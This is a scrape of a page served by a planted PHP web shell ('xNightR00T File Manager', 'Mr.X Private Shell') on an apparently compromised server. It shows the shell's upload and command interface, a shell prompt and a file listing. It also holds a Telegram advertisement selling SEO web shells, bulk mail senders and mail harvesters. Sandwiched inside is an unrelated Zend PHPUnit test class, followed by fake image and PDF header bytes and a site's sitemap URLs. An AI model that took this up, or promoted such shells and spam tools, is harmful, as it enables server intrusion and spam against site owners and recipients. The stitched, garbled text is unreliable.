xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

use ZendServer\PHPUnit\TestCase;
use Zend\Db\Adapter\Adapter;
use Zend\Db\Adapter\Driver\Pdo\Pdo;
use Zend\Db\TableGateway\TableGateway;
use PHPUnit_Framework_TestCase,
    ZendServer\Exception;

abstract class MapperAbstractTest extends TestCase
{
    private $pdo       = null; // only instantiate pdo once for test clean-up/fixture load
    private $dbAdapter = null;
    private $dbCreated = false;
    protected $testedMapper;
    protected $testedTable;

    /**
     * @return \PDO
     */
    public function getConnection()
    {
        if ($this->pdo) return $this->pdo;
        return $this->pdo = new \PDO($this->getDbConn());
    }

    public function getTableName()
    {
        return $this->testedTable;
    }

    abstract protected function getTestedMapper();

    protected function getDbConn()
    {
        return 'sqlite::memory:';
    }

    protected function tearDown()
    {
        $this->pdo          = null;
        $this->dbAdapter    = null;
        unset($this->pdo);
        unset($this->dbAdapter);
        $this->dbCreated    = false;
        unset($this->testedMapper);
        $this->testedMapper = null;
        parent::tearDown();
    }

    protected function setUp()
    {
        parent::setup();

        $this->getTestedMapper()->setTableGateway(new TableGateway($this->getTableName(), $this->getDbAdapter()));

        $this->createDB();
    }

    protected function getDbAdapter()
    {
        if ($this->dbAdapter instanceof Adapter) {
            return $this->dbAdapter;
        }
        $this->dbAdapter = new Adapter(new Pdo($this->getConnection()));
        return $this->dbAdapter;
    }

    protected function sqlGetContents()
    {
        return file_get_contents("{$this->getZendInstallDir()}/share/zsd_sqlite_create_schema.sql");
    }

    private function createDB()
    {
        if (!$this->dbCreated) {
            $this->execSqlFile();
            $this->dbCreated = true;
        }

        $this->insertData();
    }

    private function execSqlFile()
    {
        $queries = explode(";\n", $this->sqlGetContents());

        foreach ($queries as $query) {
            if (!$query) continue;
            $this->getConnection()->exec($query);
            if ($this->getConnection()->errorCode() !== '00000') {
                self::fail("Invalid query [$query]: ".$this->getConnection()->errorCode());
            }
        }
    }

    private function insertData()
    {
        $table   = $this->getTableName();
        $columns = $this->getTableColumns();

        foreach ($this->getRows() as $idx => $row) {
            $this->getConnection()->exec("INSERT INTO $table ($columns) VALUES ($row);");
            if ($this->getConnection()->errorCode() !== '23000' && $this->getConnection()->errorCode() !== '00000') {
                self::fail("Invalid INSERT query [$idx]: ".print_r($this->getConnection()->errorInfo(), true));
            }
        }
    }

    abstract protected function getRows();

    abstract protected function getTableColumns();
}

Filemanager

Name Type Size Permission Actions
Configuration Folder 0755
DdMapperTest.php File 26.44 KB 0644
IntegrationTest.php File 1.58 KB 0644
MapperAbstractTest.php File 3 KB 0644
MapperDirectivesTest.php File 3.26 KB 0644
MapperExtensionsTest.php File 2.38 KB 0644
TestSuite.php File 794 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml